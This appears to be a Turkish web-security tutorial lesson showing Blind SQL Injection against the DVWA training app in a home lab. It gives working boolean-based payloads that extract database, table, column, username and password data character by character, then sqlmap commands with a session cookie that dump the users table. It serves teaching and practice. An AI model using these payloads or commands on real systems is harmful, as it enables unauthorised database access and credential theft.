Bu yazıda DVWA adlı web uygulamasının içerisinde bulunan bir sayfanın güvenlik zafiyetinden faydalanarak Blind SQL Injection saldırısında bulunulacaktır.
Dersin Hedefi
Blind SQL Injection methoduyla DVWA'nın admin kullanıcısının şifresini keşfedin.
Blind SQL Injection Nedir?
Geçen ders bir SQL Injection saldırısı nasıl yapılırdan bahsetmiştik. Hatırlarsanız o saldırının mihenk noktası web sayfasının verdiği SQL syntax hatalarıydı. Girilen enjeksiyon kodlarına (tırnak ve ORDER BY kodlarına) karşın verilen SQL hatalarına göre ilerliyorduk. Nihayetinde UNION ile de ilave SQL sorgu enjekte ederek veritabanı isimlerini, oradan tablo isimlerini, oradan kolon isimlerini ve oradan da kolonların tuttuğu hassas bilgileri elde ediyorduk. Peki ya hedef sistem SQL syntax hatalarını vermeyecek şekilde ayarlanmışsa bu durumda ne olurdu dersiniz? Yine SQL Injection saldırısı yapılabilir miydi? Eğer bir SQL Injection saldırısı halen yapılabiliyor olsaydı onun adı olsa olsa körlemesine SQL Injection saldırısı olurdu değil mi? Çünkü web sayfası SQL hatası vermiyor. Hareket noktamız kayıp. İşte Blind SQL Injection, yani Körlemesine SQL Injection saldırısı sayfa SQL hatası vermezken yapılan SQL Injection saldırılarına denir.
Blind SQL Injection Saldırısı Nasıl Yapılır?
Sitede bir SQL Injection açığı var olup olmadığını bu sefer tek tırnak ile öğrenemeyeceğiz. Çünkü SQL hataları ekrana verilmemektedir. Bu şartlar altında yine de SQL Injection açığı var mı yok muyu basit true, false mantığını kullanarak anlayabiliriz. Öncelikle ekrandaki metin kutusuna 5 sayısını girin. Submit butonuna bastığınızda ekran size "kayıt var" şeklinde bir bildirimde bulunacaktır. Bunun yerine kaydın kendisini de verebilirlerdi. Fark etmez.
Şimdi madem 5 sayısına karşılık bir kayıt var olduğu söyleniyor, aşağıdaki SQL Injection kodunu metin kutusuna girersek yine aynı kaydın var olduğunu söyleyecek mi diye test edelim.
5' AND '1' = '1' #
Eğer yukarıdakini metin kutusuna girerseniz Submit butonuyla tekrar "Böyle bir kayıt var" tarzında bildirim göreceksiniz. Peki bu ne anlama geliyor? Bunun anlamı tek bir cümleye sığmadığından sabırlı bir şekilde okumaya devam edin. Girdiğimiz enjeksiyon kodu ile sunucudaki SQL sorgusuna dedik ki 5 numaralı kayıt veritabanında varsa - ki var - VE 1 sayısı 1'e eşitse seçili kaydı dönder. Bunun sonucunda sistem yine kayıt var dedi. Demek ki sunucu sql injection'a karşı güvenlik zafiyetine sahip. Sunucu eğer açığa sahip olmasaydı bu eklenen sql ifadelerini 5 sayısıyla birlikte görürdü ve veritabanında "5 AND '1' = '1' #" kaydını arardı. E haliyle böyle bir kayıt bulamayacağı için kayıt bulunamadı tarzında bir bildirim ekrana verirdi. Fakat ne yaptı? Kayıt var dedi. Demek ki 5 sayısının sonrasına eklenen ifadeler tam da saldırganın istediği gibi SQL sorgusunun devamı olarak nitelendirildi. Kayıt numarasının devamı olarak değil! Aşağıda durumu biraz daha somutlaştırarak özetleyelim:
SELECT first_name, last_name FROM users WHERE user_id = '$id';
Yukarıda gördüğünüz $id değişkeni metin kutusundan gelen veriyi tutmaktadır. Metin kutusuna 5 sayısı girildiğinde sunucu sorguyu şöyle okuyacaktır:
SELECT first_name, last_name FROM users WHERE user_id = '5';
Eğer sistem SQL Injection saldırılarına karşı açığa sahip değilse metin kutusundan girilecek 5' AND '1' = '1' # ifadesine karşın sunucu sorguyu şöyle okuyacaktır:
SELECT first_name, last_name FROM users WHERE user_id = "5' AND '1' = '1' #";
Haliyle veritabanında "5' AND '1' = '1' #" nolu bir kayıt olamayacağı için sunucu bize kayıt bulunamadı uyarısı verecektir. Peki sistem SQL Injection açığına sahipse sorguyu nasıl okur dersiniz?
SELECT first_name, last_name FROM users WHERE user_id = '5' AND '1' = '1' # ';
Yani biraz daha anlamlı renklendirecek olursak
SELECT first_name, last_name FROM users WHERE user_id = '5' AND '1' = '1' # ';
Sistem eğer metin kutusundan gelen veriyi çeşitli fonksiyonlardan geçirmezse bu durumda yukarıdaki gibi okur. Yani 5 sayısı sonrası gelen tek tırnağı sunucu bir öncekini kapatan tek tırnak olarak algılar. Sonrasında gelen AND operatörünü SQL sorgusundaki WHERE koşulunun devamı olarak görür. 5 nolu kaydı veritabanında bulacağı için AND operatörünün sol tarafı TRUE değer döndürecektir. AND'in sağ tarafındaki 1 sayısı da 1 'e daima eşit olacağından TRUE değer döndürecektir. Böylelikle 5 nolu seçilen kayıt AND'in sonucunun TRUE dönmesi sayesinde seçili vaziyette kalacağından belirtilen kayıt var bildirimi ekrana yansıyacaktır.
Sonuç olarak 5' AND '1' = '1' # kodu ile sistem zafiyete sahip sonucuna vardık. Çünkü sistem kayıt bulunumadı hatası vermesi gerekirken kayıt bulundu bildirimi vermiştir. Blind SQL Injection saldırıları görüldüğü üzere boolean ifadelerini kullanmaktadır. Yani web sayfası normal (TRUE) bir çıktı mı veriyor yoksa "kayıt bulunamadı" gibi FALSE bir çıktı mı veriyor. SQL Injection saldırılarında sistemin verdiği SQL hatalarına göre karar veriyorken Blind SQL Injection saldırılarında ise sayfanın olması gerektiği gibi yanıt verip vermemesine göre karar veriliyor.
Şimdi madem hedef sayfanın sql injection açığına sahip olduğunu anladık saldırıya başlayabiliriz. Hatırlarsanız SQL Injection saldırısında mevcut SQL sorgusuna kendi SQL sorgumuzu UNION ile ilave ediyorduk. Böylece ekrana veritabanındaki kullanıcı adı ve şifre gibi hassas verilerin yazdırılmasını sağlıyorduk. Fakat DVWA'nın ders ekranından görebileceğiniz üzere metin kutusuna girilecek sayı sonrası veritabanından dönen kayıt ekrana yansıtılmıyor. Dolayısıyla UNION komutu Blind SQL Injection için işlevsel değildir. Başka bir yol bulmamız gerekir. Öncelikle tıpkı SQL Injection saldırısında yaptığımız gibi hedef sistemdeki yüklü veritabanlarının isimlerini tespit etmemiz, sonra seçilen veritabanının tablo isimlerini tespit etmemiz, daha sonra seçilen tablonun kolon isimlerini tespit etmemiz gerekmektedir ki admin'in şifresini öğrenebilelim. Bu keşif aşamaları boyunca iki SQL fonksiyonundan yararlanacağız. Birincisi ascii() fonksiyonu, ikincisi ise substring() fonksiyonu. ascii() fonksiyonu argüman olarak aldığı karakterin ascii kodunu döndürmeye yaramaktadır. substring() fonksiyonu ise argüman olarak aldığı string'in içinden belirtilen bir parçayı döndürmeye yaramaktadır. İlk olarak veritabanı isimlerini keşfedelim. Bunun için aşağıdaki kodu DVWA'nın ekranındaki metin kutusundan enjekte edeceğiz:
5' AND ascii(substring((select schema_name from information_schema.schemata limit 0,1),1,1)) >= 90 #
Hatırlarsanız geçen derste information_schema adlı MySQL'de yüklü veritabanından bahsetmiştik. Bu veritabanın MySQL'de yüklü tüm veritabanı isimlerini, tüm tablo isimlerini, tüm kolon isimlerini ayrı ayrı tablolarda dinamik olarak saklamakta olduğunu söylemiştik. Dolayısıyla böyle bir bilgi kaynağı saldırganın hedefinde olacaktır. information_schema adlı veritabanının schemata adlı tablosunda MySQL'de yüklü tüm veritabanlarının isimleri yer almaktadır. Yukarıdaki enjekte edilen kod işte bu tabloyu kullanmaktadır.
5' AND ascii(substring((select schema_name from information_schema.schemata limit 0,1),1,1)) >= 90 #
Bu enjeksiyon kodunun içerisinde dikkat ederseniz bir SQL sorgusu vardır:
5' AND ascii(substring((select schema_name from information_schema.schemata limit 0,1),1,1)) >= 90 #
Bu sorgu bahsettiğimiz tabloda kayıtlı ilk kaydı, yani ilk veritabanı ismini döndürecektir. İlk kayıt dönecektir, çünkü sorgunun sonuna bakacak olursanız limit 0,1 konulmuş. Yani bu komut tablonun kayıtlarından 0ncıdan başla ve 1 tane seç anlamına gelmektedir. İlk kaydın ismi birazdan bahsedilecek yöntemlerle tespit edildikten sonra ikinci kayda geçmek için bu limit değerini şöyle yapacağız: limit 1,1. Üçüncü veritabanı ismini öğrenmek için limit 2,1 yapacağız. Bu böyle devam edecektir. Ta ki ekran artık hiç olumlu yanıt vermeyene kadar.
Bu enjeksiyon kodu içerisinde yer alan SQL sorgusunun döndürdüğü ilk veritabanı ismini ekrana basabileceğimiz bir yol yoktur. Öyle olsaydı işimiz çok kolay olurdu. Bu yüzden sofistike bir yöntem kullanacağız. Yukarıdaki enjeksiyon koduna geri dönecek olursak ilk veritabanı ismini döndüren sql sorgusu substring() fonksiyonu içine konmuştur. Substring() foksiyonunun diğer iki parametresi ise gelen veritabanı isminin ilk karakterini döndür şeklinde ayarlanmıştır.
5' AND ascii(substring((select schema_name from information_schema.schemata limit 0,1),1,1)) >= 90 #
1,1 rakamları birinci karakterden itibaren bir tane karakter seç anlamına gelmektedir. Yani MySQL'deki yer alan ilk veritabanının isminin ilk karakteri ascii() fonksiyonuna girmektedir.
5' AND ascii(substring((select schema_name from information_schema.schemata limit 0,1),1,1)) >= 90 #
Ascii() fonksiyonu ise bu karakterin ascii kodunu döndürür ve bu değer 90 değerinden büyük ya da eşit mi diye bakılır. Eğer büyük ya da eşitse sayfadaki bildirim pozitif olacaktır. Eğer 90'dan küçük ise sayfadaki bildirim negatif olacaktır. Peki tüm bunlar ne anlama geliyor?
Resimde görebileceğiniz üzere her bir harf karşılığında bir ASCII kod vardır. Biz ascii()'den dönen değeri >=90 ile kıyaslayarak
5' AND ascii(substring((select schema_name from information_schema.schemata limit 0,1),1,1)) >= 90 #
MySQL'deki ilk veritabanının isminin ilk karakterinin büyük harf mi küçük harf mi olduğunu belirlemiş oluyoruz. Sayfa eğer pozitif bir bildirimle bizi karşılarsa demek ki girdiğimiz enjeksiyon kodu TRUE sonuç döndürdü ve ilk veritabanının isminin ilk karakteri küçük harfli bir karaktere sahip deriz, eğer negatif bir bildirimle bizi karşılarsa ilk veritabanının isminin ilk karakteri büyük harfli bir karaktere sahip deriz. Yukarıdaki resme bakacak olursanız 90 sayısı ve aşağısının büyük harflere, 90 yukarısının ise küçük harflere tekabül ettiğini görebilirsiniz. Şimdi işe koyulalım. DVWA'nın metin kutusuna aşağıdaki enjeksiyon kodunu girin.

5' AND ascii(substring((select schema_name from information_schema.schemata limit 0,1),1,1)) >= 90 # 
Ekran olumlu yanıt verecektir.
Demek ki ilk veritabanının isminin ilk karakteri 90 değerine ya eşitmiş ya da büyükmüş. 90'a eşit olup olmadığından emin olabilmek için sayıyı bir arttıralım ve 91 yapalım.

5' AND ascii(substring((select schema_name from information_schema.schemata limit 0,1),1,1)) >= 91 # 
Yine ekran olumlu yanıt verecektir. Eğer ilk veritabanının isminin ilk karakteri 90 olsaydı 90 >= 91 olacağından ekranın olumsuz yanıt vermesi gerekirdi. Fakat ekran olumsuz yanıt vermedi. Demek ki ascii()'den dönen sayı 90 değilmiş. İşte bu şekilde deneme yanılmalarla süreç ilerletilir.

5' AND ascii(substring((select schema_name from information_schema.schemata limit 0,1),1,1)) >= 91 # 

5' AND ascii(substring((select schema_name from information_schema.schemata limit 0,1),1,1)) >= 92 # 

5' AND ascii(substring((select schema_name from information_schema.schemata limit 0,1),1,1)) >= 93 # 

5' AND ascii(substring((select schema_name from information_schema.schemata limit 0,1),1,1)) >= 94 # 

5' AND ascii(substring((select schema_name from information_schema.schemata limit 0,1),1,1)) >= 95 # 

5' AND ascii(substring((select schema_name from information_schema.schemata limit 0,1),1,1)) >= 96 # 

5' AND ascii(substring((select schema_name from information_schema.schemata limit 0,1),1,1)) >= 97 # 

5' AND ascii(substring((select schema_name from information_schema.schemata limit 0,1),1,1)) >= 98 # 

5' AND ascii(substring((select schema_name from information_schema.schemata limit 0,1),1,1)) >= 99 # 

5' AND ascii(substring((select schema_name from information_schema.schemata limit 0,1),1,1)) >= 100 # 

5' AND ascii(substring((select schema_name from information_schema.schemata limit 0,1),1,1)) >= 101 # 

5' AND ascii(substring((select schema_name from information_schema.schemata limit 0,1),1,1)) >= 102 # 

5' AND ascii(substring((select schema_name from information_schema.schemata limit 0,1),1,1)) >= 103 # 


5' AND ascii(substring((select schema_name from information_schema.schemata limit 0,1),1,1)) >= 104 # 


5' AND ascii(substring((select schema_name from information_schema.schemata limit 0,1),1,1)) >= 105 # 


5' AND ascii(substring((select schema_name from information_schema.schemata limit 0,1),1,1)) >= 106 # 
105 sayısına kadar ekran olumlu yanıt verirken 106 sayısına gelindiğinde ekran olumsuz yanıt verir.
ascii() >= 105 TRUE
ascii() >= 106 FALSE
105'ten büyük eşit için TRUE verirken 106'dan büyük eşit için FALSE vermesi demek şu demektir:
106 > ascii() >= 105
Demek ki ascii() fonksiyonundan dönen sayı 105'miş sonucuna varırız. Yani MySQL'deki ilk veritabanının isminin ilk karakterinin ascii kodu 105'miş. Dolayısıyla ilk veritabanının isminin ilk karakteri i harfiymiş. İlk harfi tespit ettikten sonra ikinci harf için enjeksiyon kodu şu şekilde değiştirilir:
5' AND ascii(substring((select schema_name from information_schema.schemata limit 0,1),2,1)) >= 90 #
Görüldüğü üzere ikinci harfi seçmek için substring() fonksiyonunun ikinci parametresi 1'den 2'ye çıkarılmıştır. Ardından ikinci harf için ekrandaki bildirimleri takip ederek tekrar 90, 91, 92, ... kıyaslamaları yapılır:

5' AND ascii(substring((select schema_name from information_schema.schemata limit 0,1),2,1)) >= 90 #

5' AND ascii(substring((select schema_name from information_schema.schemata limit 0,1),2,1)) >= 91 #

...

5' AND ascii(substring((select schema_name from information_schema.schemata limit 0,1),2,1)) >= 110 #

5' AND ascii(substring((select schema_name from information_schema.schemata limit 0,1),2,1)) >= 111 #

110'a kadar ekran olumlu yanıt verecektir. 111'de ise ekran olumsuz yanıt verecektir. Demek ki ascii()'den dönen sayı 110'muş.
ascii() >= 110 TRUE
ascii() >= 111 FALSE
Böylece ilk veritabanı isminin ikinci harfinin 110 nolu harf, yani n harfi olduğunu tespit etmiş olduk. Bu işlem her harf için tekrarlandığında
i
in
inf
info
infor
inform
informa
informat
informati
informatio
information
information_
information_s
information_sc
information_sch
information_sche
information_schem
information_schema
şeklinde ilk veritabanının ismini tespit ederiz. Biz information_schema'dan zaten haberdardık. Dolayısıyla bu dersin hedefi gereği DVWA'nın admin kullanıcısının şifresini elde etmek için başka veritabanı ismi bulmamız lazım. Bu yüzden enjeksiyon kodunun içerisindeki SQL sorgusunda yer alan limit komutunu limit 0,1 'den limit 1,1 'e dönüştürerek MySQL'de yüklü sıradaki veritabanı ismini seçmiş olalım.
5' AND ascii(substring((select schema_name from information_schema.schemata limit 1,1),1,1)) >= 90 #
Ardından yukarıdaki enjeksiyon kodu metin kutusuna girilir ve 90 sayısı ekrandaki bildirime göre kontrollü bir şekilde değiştirilerek ikinci veritabanının ilk harfinin ascii kodu saptanır. Sonra ikinci harf için aynı denemeler yapılır. Üçüncü harf için aynı denemeler yapılır. Ta ki 65'ten 122'ye kadarki sayılar boyunca hiç olumlu yanıt almayana kadar. Eğer 65'ten 122'ye kadar hiç olumlu yanıt alınmazsa alfabedeki tüm harfller denenmiş ve hiçbiri değil anlamına gelir ki bu artık veritabanı isminin bittiğine işaret eder.
Tüm veritabanı isimlerini sırayla tespit ettikten sonra birini seçip bu sefer seçilen veritabanının tablolarının isimlerini tespit etmek için denemeler yapılır:
5' AND ascii(substring((select table_schema from information_schema.tables WHERE table_schema = 'tespitEttiğinizVeritabanıAdı' limit 0,1),1,1)) >= 90 #
90 sayısı değiştirile değiştirile ilk tablonun ilk harfi tespit edilir ve enjeksiyon kodundaki substring() fonksiyonunun parametreleri 1,1 'den 2,1 'e dönüştürülerek ikinci harfe geçilir. İlk tablonun tüm harfleri bu şekilde tespit edildikten sonra enjeksiyon kodundaki limit 0,1'den limit 1,1'e geçiş yaparak ikinci tablo adını tespit etme aşamasına geçmiş olursunuz. Tüm tablo isimlerini tespit ettikten sonra içlerinden birini seçip onun sahip olduğu kolon adlarını bulmak için yeniden aynı işlemleri bu sefer kolon adları için tekrarlamalısınız.
5' AND ascii(substring((select column_name from information_schema.columns WHERE table_name = 'tespitEttiğinizTablonunAdı' limit 0,1),1,1)) >= 90 #
Varsayalım ki tespit ettiğiniz veritabanı isimlerinden dvwa'ı seçtiniz. dvwa adlı veritabanında tespit ettiğiniz tablo adlarından da users'ı seçtiniz diyelim. Seçtiğiniz tablo adının sahip olduğu ve yukarıdaki enjeksiyon kodu ile tespit ettiğiniz kolon adlarından da user ve password'ü seçtiniz diyelim. Bu durumda geriye bir zahmetli iş daha kalıyor. Seçtiğiniz kolonların değerlerini ascii numarası deneme yanılmalarıyla karakter karakter tespit etmek. Nasıl olduğuna dair fikir vermesi için örnek olarak aşağıdaki enjeksiyon kodunu verelim:
5' AND ascii(substring((select user from dvwa.users limit 0,1),1,1)) >= 90 #
users tablosundaki ilk kullanıcı adının tüm harflerini tespit ettikten sonra ikinci kullanıcıya oradan da üçüncü kullanıcıya geçilir. Bu böyle devam eder. Ta ki 65 ile 122 arasındaki denemelerde hiç olumlu yanıt alamayana kadar. Ardından users tablosundaki şifreler aynı yöntemle tespit edilir:
5' AND ascii(substring((select password from dvwa.users limit 0,1),1,1)) >= 90 #
Böylece kullanıcı adı ve şifreler karakter karakter sayfanın verdiği bildirime bakarak belirlenir.
Sonuç
Görüldüğü üzere SQL hatalarını kapatmak SQL Injection'a mani değildir. Sadece saldırganın işini güçleştirir. Ama saldırganlar bunun da çaresini buldular. Piyasada tüm yukarıda anlatılan deneme yanılmaları otomatik olarak yapan yazılımlar mevcuttur. İçlerinden biri SQLMap'tir. Sıradaki başlık SQLMap ile nasıl kullanıcı adı ve şifreyi ele geçirebileceğinizden bahsedecektir.
Ekstra
Tüm yukarıdaki işlemler admin kullanıcısının şifresini elde etmek içindi. Bu yüzlerce, hatta binlerce deneme yanılmayı yapmak epey zahmetli ve hatırı sayılır zaman isteyen bir iştir. Bunu bizim yerimize yapabilen SQLMap yazılımı deneme yanılmaları saniyeler içerisinde gerçekleştirebilmektedir. Bu yazıda SQLMap'in kurulumundan bahsedilmeyecektir. Çünkü Kali Linux'ta SQLMap ve daha yüzlercesi kurulu vaziyette gelmektedir. Eğer sizde VMWare ya da VirtualBox gibi sanal makina kullanıyorsanız Kali adlı linux'u sanal makinanıza kurabilir ve içinde hazır kurulu gelen SQLMap'i aşağıda yer alacak kodlamalarla "direk" kullanabilirsiniz.
SQLMap ile saldırı yapabilmek için DVWA'da açacağınız oturum sonucu size verilen çerezi bir köşeye not etmeniz gerekmektedir. Çünkü SQLMap'i oturum açılmamış bir DVWA'ya karşı saldırtırsanız SQLMap login ekranına takılacaktır ve çalışmayacaktır. Bu nedenle şimdi ana makinanızdaki tarayıcıdan DVWA'yı açın ve oturum girişini yapın. Ardından DVWA Security butonundan güvenlik seviyesini Low Level'a indirin. Daha sonra tarayıcınızın ekranında DVWA açıkken F12 tuşuna basın. Tarayıcınızın alt tarafında bir küçük pencere açılacaktır. O penceredeki sıralı sekmelerden Resources sekmesine gelin ve solda sıralı elemanlar içerisinden Cookies'e, oradan da localhost'a çift tıklayın.
Ardından pencerede görünen iki çerezi
birleştirip bir not defterine kaydedin. Mesela aşağıdaki gibi olmalı.
security=low;PHPSESSID=gka3g42dd2vulrke6h9hbec5u3
Kali'de bir terminal açın ve aşağıdakini girin.
sqlmap -u "http://192.168.0.16/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=evio76avk41tls0ordo6q31qh2" -p id --technique=B --dbms=MySQL --dbs
Kırmızı bölgeleri kendinize göre ayarlamalısınız. İlk kırmızı yere ana makinanızın IP'sini koymalısınız. Ana makinanızın IP'sini Windows'ta ipconfig, Linux'ta ifconfig ile öğrenebilirsiniz. İkinci kırmızı yere de önceden elde ettiğiniz çerezi yerleştirmelisiniz. Yukarıdaki kodda yer alan --technique=B ifadesi SQLMap'in Blind tekniğiyle saldırmasını sağlar. Blind tekniği SQLMap'te saldırı yöntemlerinden sadece birisidir.
NOT: Eğer sanal makineden ana makinenizdeki DVWA'ya ulaşamazsanız durumunuzu açıkladığınız takdirde yardımcı olabilirim.
Saldırı:
Yukarıdaki komutu ENTER'ladığınızda birkaç saniye içerisinde sizden bir onay isteyecektir. y tuşuna basın ve tekrar ENTER'layın. Böylelikle hedef veritabanı yönetim sistemindeki tüm yüklü veritabanlarını SQLMap'e Blind SQL Injection yöntemiyle buldurtmuş olursunuz.
Çıktı:
Şimdi sıralı veritabanı isimleriden birini seçelim ve seçtiğimiz veritabanının tüm tablolarını SQLMap'e yine Blind tekniğiyle buldurtalım (Dersin hedefi gereği dvwa adlı veritabanı seçilmelidir):
sqlmap -u "http://192.168.0.16/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=evio76avk41tls0ordo6q31qh2" -p id --technique=B --dbms=MySQL -D dvwa --tables
Görüldüğü üzere yukarıdaki kodda dvwa adlı veritabanı koda eklendi ve bu veritabanına ait tablolarının bulunması için öncekinden farklı olarak --tables parametresi eklendi.
Saldırı:
Çıktı:
Dersin Hedefi gereği kullanıcı adı ve şifrelere ulaşmamız gerekiyor. O nedenle sıralı tablolardan users işimizi görür nitelikte. Onu seçelim ve users tablosunun kolonlarını SQLMap'e blind tekniğiyle buldurtalım:
sqlmap -u "http://192.168.0.16/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=evio76avk41tls0ordo6q31qh2" -p id --technique=B --dbms=MySQL -D dvwa -T users --columns
Saldırı:
Çıktı:
En nihayetinde kolonlardan user, password'ü seçelim ve değerlerini SQLMap'e yine Blind SQL Injection yöntemiyle buldurtalım:
sqlmap -u "http://192.168.0.16/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=evio76avk41tls0ordo6q31qh2" -p id --technique=B --dbms=MySQL -D dvwa -T users -C user,password --dump
Yukarıdaki kodu terminale girdiğinizde SQLMap sizden tespit ettiği hash halindeki parolaları bir dosyaya kaydetmek için izin isteyecektir. Kaydetsin diyorsanız y, kaydetmesin diyorsanız n'yi tuşlayın ve ENTER'layın. Ardından hash'lerin sözlük saldırısı ile kırılmasını istiyorsanız y, istemiyorsanız n'yi tuşlayın ve tekrar ENTER'layın. İkisine de n diyerek aşağıdaki çıktıyı beklemeksizin alabilirsiniz:
Saldırı:
Çıktı:
NOT: Hash demek parolaların şifrelenmiş, diğer bir deyişle özeti alınmış haline denir. Şifrelenmiş parolaları kırmak için Ders 14 - SQL Injection (Low Level) yazısının Ekstra başlığını okuyabilirsiniz. Burada tekrarlanmayacaktır.
Böylece belki binlerce denemeyle karakter karakter tespit ederek ulaşabileceğiniz DVWA'nın kullanıcı adlarını ve şifrelerini SQLMap ile zahmetsiz bir şekilde elde etmiş oldunuz.
Yararlanılan Kaynak:
https://pentestlab.wordpress.com/2012/11/24/owning-the-database-with-sqlmap/
Bu yazı 19.01.2016 tarihinde, saat 14:04:00'de yazılmıştır. 30.04.2019 tarihi ve 07:10:12 saatinde ise güncellenmiştir.	